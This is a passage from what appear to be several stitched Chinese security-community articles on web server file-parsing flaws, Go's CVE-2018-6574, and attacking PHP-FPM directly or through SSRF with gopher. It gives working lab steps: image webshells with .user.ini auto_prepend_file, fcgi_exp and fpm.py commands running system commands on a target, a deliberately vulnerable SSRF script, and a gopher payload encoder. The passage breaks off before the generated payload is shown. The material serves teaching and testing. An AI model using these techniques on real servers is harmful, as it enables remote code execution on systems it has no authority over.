有的网站会设置黑名单上传限制 ,IIS6.0 默认的可执行文件除了asp还包含这三种 :
/xx.asa
/xx.cer
/xx.cdx
iis把asa，cdx，cer解析成asp文件的原因：这四种扩展名都是用的同一个asp.dll文件来执行。
**修复方法** ：
1.阻止创建`.asp`和`.asa`类型的文件夹
2.阻止上传`xx.asp;.jpg`类型的文件名
3.阻止上传`.asa`、`.cer`和`.cdx`后缀的文件
4.设置权限，限制用户创建文件夹
### 2、IIS 7.0/7.5 CGI解析漏洞
**漏洞描述** ：
IIS7/7.5的漏洞与nginx的类似，都是由于php配置文件中，开启了`cgi.fix_pathinfo`，而这并不是nginx或者iis7/7.5本身的漏洞。
**漏洞产生的条件** ：
php.ini里的`cgi.cgi_pathinfo=1`
IIS7在Fast-CGI运行模式下
**测试环境** ：
windows server 2008 R2（x64）
IIS7
phpStudy 2018版本
**开始测试** ：
首先在VMware安装windows server 2008 R2虚拟机(比较简单，百度搜教程即可)，然后安装IIS7和phpStudy
2018。可参考：[IIS7.0解析漏洞](https://blog.csdn.net/nzjdsds/article/details/96989492)
写一个index.php文件测试环境是否能正常工作。
正常工作。接下来，正式开始测试
1.在站点根目录创建一个qwzf.jpg文件，文件内容为：
<?php phpinfo(); ?>
2.配置CGI 模式
（1）在php.ini文件里将cgi.fix_pathinfo 取消注释并把值改为1
（2）更改网站的处理程序映射
管理工具 –> IIS -> WIN-5RQ4P819403 -> 处理程序映射
3.访问`http://192.168.201.149/qwzf.jpg/.php`
发现`qwzf.jpg`成功解析。
**常用利用方法** ：上传图片马
## 0x05 .user.ini
**.user.ini 作用和配置**
`.htaccess`是伪静态环境配置文件，用于lamp。
`.user.ini`是lnmp文件，里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.
为了防止跨站，可将 `.user.ini`放在网站根目录下，内容为：
`open_basedir=/项目路径/:/tmp/:/proc/`
如：`open_basedir=/var/www/html/:/tmp/:/proc/`
**测试代码** ：
<?php
//获取当前文件所在的绝对目录
$dir = dirname(__FILE__);
echo " <pre>";
print_r($dir);
//读取根目录文件夹vim
$file = scandir('/');
//显示
echo " <pre>";
print_r($file);
?>
没加`.user.ini`的时候可以直接读到根目录的文件
加上`.user.ini`之后，就读不到根目录的文件了
**.user.ini文件利用**
> 利用条件：
> 1.服务器脚本语言为PHP
> 2.服务器使用CGI／FastCGI模式
> 3.上传目录下要有可执行的php文件
参考：[user.ini文件构成的PHP后门](https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html)
大师傅博客里对`.user.ini`的解释具体可以怎样理解呢？
我的对其总结如下：
>
> 1.`php.ini`作为php的默认的配置文件，包括很多php配置，可分为：`PHP_INI_SYSTEM`、`PHP_INI_PERDIR`、`PHP_INI_ALL`、`PHP_INI_USER`。
>
> 2.模式为`PHP_INI_USER`的配置项，可在`ini_set()`函数中设置、`注册表`中设置和`.user.ini`中设置
>
> 3.PHP会在每个目录下扫描 INI 文件，从被执行PHP 文件所在目录一直上升到 web
> 根目录(`$_SERVER['DOCUMENT_ROOT']`所指定的)。若被执行PHP 文件在 web 根目录之外，则只扫描该目录。
>
> 4.`.user.ini`简单来说，就是一个可以由用户“自定义”的`php.ini`，可以自定义的设置是模式为`PHP_INI_PERDIR` 、
> `PHP_INI_USER`的设置(实际上，除`PHP_INI_SYSTEM`外的模式都可以通过`.user.ini`来设置)。
>
>
> 5.`.user.ini`是一个能被动态加载的ini文件。也就是修改`.user.ini`后，不需要重启服务器中间件，只需要等待`user_ini.cache_ttl`所设置的时间(默认为300秒)，即可被重新加载。
>
>
> 6.php配置项`auto_prepend_file`(`auto_append_file`)，指定一个文件，自动包含在要执行的文件前(后)，类似于在文件前(后)调用了require()函数。即借助`.user.ini`文件，可让所有php文件都“自动”包含某个文件
> (当文件调用的有exit()时该设置无效）
可直接在`.user.ini`中设置要包含的文件(如webshell、图片马等)：
auto_prepend_file=qwzf.jpg
`qwzf.jpg`即是可执行php文件要包含的文件。
**开始测试** ：
直接使用vulhub靶场`vulhub/nginx/CVE-2013-4547`环境，在uploadfiles目录下创建一个可执行的php文件index.php
（1）上传`.user.ini`文件，内容如下：
GIF89a
auto_prepend_file=qwzf.jpg
（2）上传图片马`qwzf.jpg`，内容如下：
GIF89a
<?php phpinfo(); ?>
访问`/uploadfiles/index.php`，发现qwzf.jpg被成功包含到index.php之前进行解析
## 0x06 Windows操作系统文件命名规则
Windows操作系统中，文件名不能以空格或`.`开头，也不能以空格或`.`结尾。当把一个文件命名为以空格或`.`开头或结尾时，会自动地去掉开头和结尾处的空格和`.`。利用此特性，也可能造成
**文件解析漏洞** 。
## 0x07 后记
根据上面所述，可见解析漏洞的危害。所以要注意解析漏洞的防范。
本人小白一枚，如有错误，敬请大佬批评指正！
参考博客：
[文件解析漏洞总结](https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/)
[CTF考点总结-文件上传/文件包含](https://www.cnblogs.com/kagari/p/12638765.html)
[利用最新Apache解析漏洞（CVE-2017-15715）绕过上传黑名单](https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html)
[文件上传漏洞，解析漏洞总结](https://www.cnblogs.com/imbrave99/p/13369549.html)
[解析漏洞整理](https://blog.csdn.net/u011781521/article/details/58630742)
[典型漏洞归纳之解析漏洞](https://www.cnblogs.com/shellr00t/p/6426856.html)
[服务器解析漏洞总结](https://www.cnblogs.com/zlgxzswjy/p/6561229.html)
[文件解析漏洞总结-Nginx](https://blog.csdn.net/wn314/article/details/77388289/)
[Nginx错误配置引发的解析漏洞复现](https://zgao.top/nginx%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE%E5%BC%95%E5%8F%91%E7%9A%84%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/)
[nginx文件名逻辑漏洞_CVE-2013-4547漏洞复现](https://www.cnblogs.com/yuzly/p/11221564.html)
[nginx+php使用open_basedir限制站点目录防止跨站](https://blog.csdn.net/u013372487/article/details/51909766?utm_source=blogxgwz1) | 社区文章 |
作者：绿盟科技
来源：<http://blog.nsfocus.net/cve-2018-6574/>
前不久，Go官方修复了CVE-2018-6574这个漏洞，这个漏洞又是涉及软件编译环节，和2015年Xcode被污染类似，攻击者可以通过在软件编译环节插入恶意数据从而执行任意代码，虽然原理并不复杂，但有很好的警示意义。
#### 什么是Go语言？
Go 是一个Google推出的开源编程语言，它能让构造简单、可靠且高效的软件变得更容易，且有着更高的开发效率和运行性能，因此受到了许多开发者的欢迎。
Go 程序源码 以 `*.go` 结尾，通过 go build 编译成native代码。
以最简单的hello world程序为例：hello.go
// hello.go
package main
import "fmt"
func main() {
fmt.Println("Hello, World!")
}
通过go build编译出可执行程序，再运行 ./hello 。也可以直接通过 go run ./hello.go
直接在/tmp目录下编译生成可执行文件，并运行。
同时Go语言允许与C语言的互操作，即在Go语言中直接使用C代码，因为本身Go在语法等方面和C就很像，其设计者以及其设计目标都与C语言有着千丝万缕的联系。
例如下面的代码，我们可直接在Go源码文件中嵌入了C代码，并用注释包裹起来
package main
/*
#include
#include
void my_print(char *str){
printf("%s\n",str);
}
*/
import "C"
import "unsafe"
import "fmt"
func main() {
fmt.Println("Hello, World!")
s:="hello cgo"
cs:=C.CString(s)
C.my_print(cs)
C.free(unsafe.Pointer(cs))
}
我们依然可以直接通过go build或go
run来编译和执行，但实际编译过程中，go调用了名为cgo的工具，cgo会识别和读取Go源文件中的C元素，并将其提取后交给C编译器编译，最后与Go源码编译后的目标文件链接成一个可执行程序。
#### CVE-2018-6574 漏洞分析
参看CVE公告，这个漏洞是由于在源码编译时，未禁止 “-fplugin=”这类的参数导致在使用gcc/clang编译时产生代码执行。
上面已经说了在Go源码文件中可以嵌入了C代码，同时cgo会识别和读取Go源文件中的C元素，并将其提取后交给C编译器编译。
cgo调用gcc或者clang编译提取出的C代码。
gcc/clang这类的C编译器自然都有CFLAGS，LDFLAGS等编译开关让开发者在编译时指定设置。
cgo作为一个gcc的封装，自然也支持这类的编译开关选项。而gcc编译时，可以通过“-fplugin”指定额外的插件，gcc在编译时会加载这个插件。
因此，除了在Go源码文件中可以嵌入了C代码之外，还可以指定通过“#cgo CFLAGS”指定gcc编译时的恶意插件。
cgo在解析到CFLAGS关键字时，会将后面的编译选项传递给gcc。
“-fplugin”指定额外的插件，可为任意的动态库，因此就获得了代码的执行权限。
package main
/*
#cgo CFLAGS: -fplugin=./foo.so
#include
#include
void print(char *str){
printf("%s\n",str);
}
*/
import "C"
import "unsafe"
import "fmt"
func main() {
fmt.Println("Hello, World!")
s:="hello cgo"
cs:=C.CString(s)
C.print(cs)
C.free(unsafe.Pointer(cs))
}
对于本地自己编写的程序或许不会有问题，因为毕竟不会自己去加载执行恶意代码。 但当需要获取远程代码执行“go get”时，就可能出现问题。“go
get”先从远程地址下载源码，再执行go build并安装。
例如，我们经常会从github上获得Go的项目或第三方包，这些第三方包如果未经检查，就完全可能借助这个漏洞执行任意代码。
我们通过本地反弹shell来演示一下这个漏洞执行的流程，如下图。
#### CVE-2018-6574 防御修复
Go官方在最新版本中，加强了对编译和链接环节的检查过滤。
只允许指定的编译链接选项代入gcc执行，其他未经允许的都会被禁止。
#### 总结
本文分析了CVE-2018-6574漏洞的成因，可以看到编译是软件构建过程中一个重要环节，保证软件可信，不被来自外界的病毒、恶意代码破坏，不仅要从程序代码本身着手，还应从编译，生成，分发等各方面努力，保证整个软件供应链体系的安全可信。
* * * | 社区文章 |
[toc]
## 前言
前言？没有前言了……
## CGI
早期的Web服务器，只能响应浏览器发来的HTTP静态资源的请求，并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展，逐渐出现了动态技术，但是Web服务器并不能够直接运行动态脚本，为了解决Web服务器与外部应用程序（CGI程序）之间数据互通，于是出现了CGI（Common
Gateway Interface）通用网关接口。 **简单理解，可以认为CGI是Web服务器和运行在其上的应用程序进行“交流”的一种约定。**
当遇到动态脚本请求时，Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序，运行外部C程序或Perl、PHP脚本等，也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程，如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本，然后将结果返回给Web服务器，最后由Web服务器将结果返回给客户端，之前Fork出来的进程也随之关闭。这样，每次用户请求动态脚本，Web服务器都要重新Fork创建一个新进程去启动CGI程序，由CGI程序来处理动态脚本，处理完成后进程随之关闭，其效率是非常低下的。
而对于Mod CGI，Web服务器可以内置Perl解释器或PHP解释器。 也就是说将这些解释器做成模块的方式，Web服务器会在启动的时候就启动这些解释器。
当有新的动态请求进来时，Web服务器就是自己解析这些动态脚本，省得重新Fork一个进程，效率提高了。
## FastCGI
有了CGI，自然就解决了Web服务器与PHP解释器的通信问题，但是Web服务器有一个问题，就是它每收到一个请求，都会去Fork一个CGI进程，请求结束再kill掉这个进程，这样会很浪费资源。于是，便出现了CGI的改良版本——Fast-CGI。
维基百科对 FastCGI 的解释是：快速通用网关接口（Fast Common Gateway
Interface／FastCGI）是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口（CGI）的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销，Fast-CGI每次处理完请求后，不会kill掉这个进程，而是保留这个进程，从而使服务器可以同时处理更多的网页请求。这样就会大大的提高效率。
## 浏览器处理静态/动态网页过程
众所周知，在网站分类中存在一种分类就是静态网站和动态网站，两者的区别就是静态网站只需要通过浏览器进行解析，其中的页面是一对一的（一个内容对应一个页面），而动态网站需要一个额外的编译解析的过程，网页上的数据是从数据库中或者其他地方调用，页面会随着数据的变化而改变，就产生了一定的交互性。
### 浏览器访问静态网页过程
在整个网页的访问过程中，Web容器（例如Apache、Nginx）只担任着 **内容分发**
者的身份，当访问静态网站的主页时，Web容器会到网站的相应目录中查找主页文件，然后发送给用户的浏览器。
### 浏览器访问动态网页过程
当访问动态网站的主页时，根据容器的配置文件，它知道这个页面不是静态页面，Web容器就会去找PHP解析器来进行处理（这里以Apache为例），它会把这个请求进行简单的处理，然后交给PHP解释器。
当Apache收到用户对 index.php 的请求后，如果使用的是CGI，会启动对应的 CGI
程序，对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件，初始化执行环境，然后处理请求，再以CGI规定的格式返回处理后的结果，退出进程，Web
Server 再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
这里说的是使用CGI，而FastCGI就相当于高性能的CGI，与CGI不同的是它像一个常驻的CGI，在启动后会一直运行着，不需要每次处理数据时都启动一次，
所以这里引出下面这句概念，FastCGI是语言无关的、可伸缩架构的CGI开放扩展， **其主要行为是将CGI解释器进程保持在内存中**
，并因此获得较高的性能 。
## Fastcgi 协议分析
### Fastcgi Record
Fastcgi 其实是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。
HTTP协议是 **浏览器和服务器中间件**
进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。
类比 HTTP 协议来说，Fastcgi 协议则是 **服务器中间件和某个语言后端** 进行数据交换的协议。Fastcgi 协议由多个 Record
组成，Record 也有 Header 和 Body 一说，服务器中间件将这二者按照 Fastcgi
的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照 Fastcgi 协议封装好后返回给服务器中间件。
和 HTTP 头不同，Fastcgi Record 的头固定8个字节，Body 是由头中的 `contentLength` 指定，其结构如下：
typedef struct {
/* Header 消息头信息 */
unsigned char version; // 用于表示 FastCGI 协议版本号
unsigned char type; // 用于标识 FastCGI 消息的类型, 即用于指定处理这个消息的方法
unsigned char requestIdB1; // 用ID值标识出当前所属的 FastCGI 请求
unsigned char requestIdB0;
unsigned char contentLengthB1; // 数据包包体Body所占字节数
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body 消息主体 */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
头由8个 uchar 类型的变量组成，每个变量一个字节。其中，`requestId`
占两个字节，一个唯一的标志id，以避免多个请求之间的影响；`contentLength` 占两个字节，表示 Body 的大小。可见，一个 Fastcgi
Record 结构最大支持的 Body 大小是`2^16`，也就是 65536 字节。
后端语言解析了 Fastcgi 头以后，拿到 `contentLength`，然后再在请求的 TCP 流里读取大小等于 `contentLength`
的数据，这就是 Body 体。
Body 后面还有一段额外的数据（Padding），其长度由头中的 `paddingLength`
指定，起保留作用。不需要该Padding的时候，将其长度设置为0即可。
### Fastcgi Type
刚才我们介绍了 Fastcgi 协议中Record部分中各个结构的含义，其中第二个字节为 `type`，我们将对其进行详细讲解。
`type` 就是指定该 Record 的作用。因为 Fastcgi 中一个 Record
的大小是有限的，作用也是单一的，所以我们需要在一个TCP流里传输多个 Record，通过 `type` 来标志每个 Record 的作用，并用
`requestId` 来标识同一次请求的id。也就是说，每次请求，会有多个 Record，他们的 `requestId` 是相同的。
下面给出一个表格，列出最主要的几种 `type`：
type值 | 具体含义
---|---
1 | 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1，用来表明此消息为请求开始的第一个消息
2 | 异常断开与php-fpm的交互
3 | 在与php-fpm交互中所发的最后一个消息中type值为此，以表明交互的正常结束
4 | 在交互过程中给php-fpm传递环境变量时，将type设为此，以表明消息中包含的数据为某个name-value对
5 | Web服务器将从浏览器接收到的POST请求数据（表单提交等）以消息的形式发给php-fpm，这种消息的type就得设为5
6 | php-fpm给Web服务器回的正常响应消息的type就设为6
7 | php-fpm给Web服务器回的错误响应设为7
看了这个表格就很清楚了，服务器中间件和后端语言通信，第一个数据包就是 `type` 为1的 Record，后续互相交流，发送 `type`
为4、5、6、7的 Record，结束时发送 `type` 为2、3的 Record。
当后端语言接收到一个 `type` 为4的 Record 后，就会把这个 Record 的 Body 按照对应的结构解析成 key-value
对，这就是环境变量。环境变量的结构如下：
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;
这其实是 4 个结构，至于用哪个结构，有如下规则：
1. key、value均小于128字节，用 `FCGI_NameValuePair11`
2. key大于128字节，value小于128字节，用 `FCGI_NameValuePair41`
3. key小于128字节，value大于128字节，用 `FCGI_NameValuePair14`
4. key、value均大于128字节，用 `FCGI_NameValuePair44`
为什么我只介绍 `type` 为4的 Record？因为环境变量在后面 PHP-FPM 里有重要作用，之后写代码也会写到这个结构。`type`
的其他情况，大家可以自己翻文档理解理解。
## PHP-FPM
在前面我们也看到了PHP-FPM这个东西，那这个PHP-FPM到底是什么呢？
官方对PHP-FPM的解释是 FastCGI 进程管理器，用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用的。PHP-FPM
默认监听的端口是 9000 端口。
也就是说 **PHP-FPM 是 FastCGI 的一个具体实现** ，并且提供了进程管理的功能，在其中的进程中，包含了 master 和 worker
进程，这个在后面我们进行环境搭建的时候可以通过命令查看。其中 **master 进程负责与 Web 服务器中间件进行通信** ，接收服务器中间按照
FastCGI 的规则打包好的用户请求，再将请求转发给 worker 进程进行处理。 **worker 进程主要负责后端动态执行 PHP 代码，**
处理完成后，将处理结果返回给 Web 服务器，再由 Web 服务器将结果发送给客户端。
举个例子，当用户访问 `http://127.0.0.1/index.php?a=1&b=2` 时，如果 Web 目录是 /var/www/html，那么
Web 服务器中间件（如 Nginx）会将这个请求变成如下 key-value 对：
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是 PHP 中 `$_SERVER` 数组的一部分，也就是 PHP 里的环境变量。但环境变量的作用不仅是填充 `$_SERVER`
数组，也是告诉 fpm：“我要执行哪个 PHP 文件”。
PHP-FPM 拿到 Fastcgi 的数据包后，进行解析，得到上述这些环境变量。然后，执行 `SCRIPT_FILENAME`
的值指向的PHP文件，也就是 `/var/www/html/index.php`。但如果我们能够控制 `SCRIPT_FILENAME` 的值，不就可以让
PHP-FPM 执行服务器上任意的 PHP 文件了吗。写到这里，PHP-FPM 未授权访问漏洞差不多也就呼之欲出了。
## PHP-FPM 任意代码执行
前文我们讲到， Web 服务器中间件会将用户请求设置成环境变量，并且会出现一个 `'SCRIPT_FILENAME':
'/var/www/html/index.php'` 这样的键值对，它的意思是 PHP-FPM
会执行这个文件，但是这样即使能够控制这个键值对的值，但也只能控制 PHP-FPM 去执行某个已经存在的文件，不能够实现一些恶意代码的执行。并且在 PHP
5.3.9 后来的版本中，PHP 增加了 `security.limit_extensions` 安全选项，导致只能控制 PHP-FPM 执行一些像
php、php3、php4、php5、php7 这样的文件，因此你必须找到一个已经存在的 PHP 文件，这也增大了攻击的难度。
但是好在强大的 PHP 中有两个有趣的配置项：
* `auto_prepend_file`：告诉PHP，在执行目标文件之前，先包含 `auto_prepend_file` 中指定的文件。
* `auto_append_file`：告诉PHP，在执行完成目标文件后，再包含 `auto_append_file` 指向的文件。
那么就有趣了，假设我们设置 `auto_prepend_file` 为 `php://input`，那么就等于在执行任何 PHP 文件前都要包含一遍
POST 的内容。所以，我们只需要把需要执行的代码放在 Body 中，他们就能被执行了。（当然，这还需要开启远程文件包含选项
`allow_url_include`）
那么，我们怎么设置 `auto_prepend_file` 的值？
这就又涉及到 PHP-FPM 的两个环境变量，`PHP_VALUE` 和 `PHP_ADMIN_VALUE`。这两个环境变量就是用来设置 PHP
配置项的，`PHP_VALUE` 可以设置模式为 `PHP_INI_USER` 和 `PHP_INI_ALL` 的选项，`PHP_ADMIN_VALUE`
可以设置所有选项。
所以，我们最后传入的就是如下的环境变量：
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
设置 `auto_prepend_file = php://input` 且 `allow_url_include = On`，然后将我们需要执行的代码放在
Body 中，即可执行任意代码。
## PHP-FPM 未授权访问漏洞
前文我们讲到，攻击者可以通过 `PHP_VALUE` 和 `PHP_ADMIN_VALUE` 这两个环境变量设置 PHP 配置选项
`auto_prepend_file` 和 `allow_url_include` ，从而使 PHP-FPM
执行我们提供的任意代码，造成任意代码执行。除此之外，由于 PHP-FPM 和 Web 服务器中间件是通过网络进行沟通的，因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上，所有人都可以对其进行访问。这样就意味着，任何人都可以伪装成Web服务器中间件来让 PHP-FPM
执行我们想执行的恶意代码。这就造成了 PHP-FPM 的未授权访问漏洞。
下面我们搭建环境，对 PHP-FPM 未授权访问漏洞的攻击过程进行讲解。
### 环境搭建
* 靶 机：Ubuntu（192.168.0.175）
* 攻击机：Kali（192.168.0.128）
这里直接在Ubuntu上安装Nginx和php-fpm，首先安装Nginx
sudo apt-get install nginx
安装php、php-fpm以及一些插件
sudo apt-get install software-properties-common python-software-properties
sudo add-apt-repository ppa:ondrej/php # 这里容易卡死, 解决方法是挂代理
sudo apt-get update
sudo apt-get -y install php7.4
sudo apt-get -y install php7.4-fpm php7.4-mysql php7.4-curl php7.4-json php7.4-mbstring php7.4-xml php7.4-intl
### 配置 PHP-FPM
接下来我们需要修改 PHP-FPM 的配置，设置监听9000端口来处理nginx的请求，并将 PHP-FPM 暴露在 0.0.0.0 上面。
打开 `/etc/php/7.4/fpm/pool.d/www.conf` 文件找到如下位置，注释掉第一行并添加第二行：
;listen = /run/php/php7.4-fpm.sock
listen = 0.0.0.0:9000
此时将 PHP-FPM 的监听地址设置为了 `0.0.0.0:9000`，便会产生PHP-FPM 未授权访问漏洞，此时攻击者可以直接与暴露在目标主机
9000 端口上的 PHP-FPM 进行通信，进而可以实现任意代码执行。
下面修改权限
chmod 777 /run/php/php7.4-fpm.sock
打开nginx的配置文件 `/etc/nginx/sites-available/default` 修改相应部分的配置
server {
listen 80; #监听80端口，接收http请求
server_name www.example.com; #就是网站地址
root /var/www/html; # 准备存放代码工程的路径
#路由到网站根目录www.example.com时候的处理
location / {
index index.php; #跳转到www.example.com/index.php
autoindex on;
}
#当请求网站下php文件的时候，反向代理到php-fpm
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 0.0.0.0:9000;#nginx fastcgi进程监听的IP地址和端口
#fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
}
### 启动环境
配置完成后查看一下php-fpm的安装位置，然后启动
whereis php-fpm
/usr/sbin/php-fpm7.4 # 这是我的靶机上php-fpm安装的位置
重新启动Nginx
sudo systemctl restart nginx
然后检查nginx是否正确启动 `systemctl status nginx`：
检查php-fpm是否正确启动 `ps -elf | grep php-fpm`
这里就可以看出上面所说的存在一个master进程和多个worker进程。
下面将 `/var/www/html` 目录下的文件删除，新建一个index.php，内容可以写上 `<?php phpinfo(); ?>`
用来检查各项是否正常运行（如果页面为空，查看这篇[文章](https://blog.csdn.net/feiniao8651/article/details/52768911)解决）：
其中 Sever API 处和上图一样说明运行正确。下面我们开始攻击。
### 利用 fcgi_exp.go 攻击
* 项目地址：<https://github.com/wofeiwo/webcgi-exploits>
将该项目下载下来后，进入到 webcgi-exploits/php/Fastcgi，新建一个 fcgiclient 目录，将 fcgiclient.go
放入新建的 fcgiclient 目录中：
然后安装 go 环境进行编译：
go build fcgi_exp.go # 编译fcgi_exp.go
然后直接运行可以看到 fcgi_exp 的使用方法：
使用如下命令进行测试
./fcgi_exp system 192.168.43.82 9000 /var/www/html/index.php "id"
* system：要使用的PHP函数
* 192.168.43.82：目标机IP
* 9000：目标机 fpm 端口
* /var/www/html/index.php：已知的位于目标机上的PHP文件
* id：要执行的系统命令
如下图所示，成功执行系统命令，利用成功：
### 利用 phith0n 大神的 fpm.py
* 项目地址：<https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75>
>
> “兼容Python2和Python3，方便在内网用。之前好些人总是拿着一个GO写的工具在用，又不太好用。实际上理解了fastcgi协议，再看看这个源码，就很简单了。“
>
> —— phith0n
利用方式：
python fpm.py 192.168.43.82 /var/www/html/index.php -c "<?php system('id'); exit(); ?>"
如下图所示，成功执行系统命令，利用成功：
## SSRF 中对 FPM/FastCGI 的攻击
有时候 PHP-FPM 也并不会执行绑定在 0.0.0.0 上面，而是 127.0.0.1，这样便避免了将 PHP-FPM
暴露在公网上被攻击者访问，但是如果目标主机上存在 SSRF 漏洞的话，我们便可以通过 SSRF 漏洞攻击内网的 PHP-FPM 。
* 靶 机：Ubuntu（192.168.0.175）
* 攻击机：Kali（192.168.0.128）
在目标机Web目录中新建 ssrf.php 文件，写入以下存在 SSRF 漏洞的代码：
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
//第二种初始化curl的方式
//$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
/*进行curl配置*/
curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
$responseText = curl_exec($curl);
//var_dump(curl_error($curl) ); // 如果执行curl过程中出现异常，可打开此开关，以便查看异常内容
echo $responseText;
curl_close($curl);
?>
此时目标主机存在 SSRF 漏洞，并且通过 SSRF 可以探测到目标主机上 9000 端口上运行的 php-fpm。此时，虽然 php-fpm
没有暴露在公网上，但是由于存在 SSRF 漏洞，我们便可以通过 SSRF 漏洞配合 Gopher 协议去打内网的 php-fpm。
### 利用 fcgi_exp 攻击
* 项目地址：<https://github.com/wofeiwo/webcgi-exploits>
刚在我们已经演示过了，fcgi_exp 这个工具主要是用来攻击未授权访问 php-fpm 的，所以一些地方需要自己写脚本转换一下 payload。
使用如下命令进行测试：
./fcgi_exp system 192.168.43.82 9000 /var/www/html/index.php "id"
此时显然是不行的，因为在配置端口监听的时候，仅允许监听在127.0.0.1，不存在 php-fpm 未授权访问，所以说不能攻击成功。我们要通过 SSRF
来从目标机内部攻击 9000 端口。
在攻击机上使用 `nc -lvvp 1234 > fcg_exp.txt` 监听1234 端口来接收 payload，另外开启一个终端使用下面的命令发送
payload
./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"
注意这里攻击的端口是上面监听的端口，目的是将payload发送到这个端口，运行后可以使用Ctrl+C
来结束运行，现在就得到了一个fcg_exp.txt的文件，里面是获得的payload，可以使用 `xxd fcg_exp.txt` 查看其内容：
文件里的内容有部分是不可见字符，这里需要url编码一下，这里写一个Python脚本对文件中的内容进行编码
# -*- coding: UTF-8 -*- from urllib.parse import quote, unquote, urlencode
file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
执行上面的python脚本生成如下payload：
